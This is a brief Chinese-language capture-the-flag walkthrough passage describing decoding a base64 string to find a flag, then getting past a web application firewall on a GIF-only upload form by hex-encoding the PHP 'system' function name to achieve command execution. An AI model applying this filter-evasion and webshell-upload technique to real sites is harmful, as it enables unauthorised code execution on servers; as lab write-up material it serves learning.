好家伙，把base64编码目录放在一起解码。居然是flag2！！flag2解码：imfadministrator
尝试访问后，是个目录！！

经过尝试，这个waf的拦截规则很有趣！首先图片类型的话只能上传gif，目前只有gif可以使用！而且图片不能过大，太大的话，waf会拦截！！
图片所包含的php函数必须是waf没有拦截的才行！
这些都是PHP.ini 配置文件中所添加的，不允许我们使用！！既然这样，我们可以构造system函数！不过我们需要将system函数进行十六进制转换！！system --- \x73\x79\x73\x74\x65\x6d
上传成功！ 这样我们就可以进行命令执行了！！！
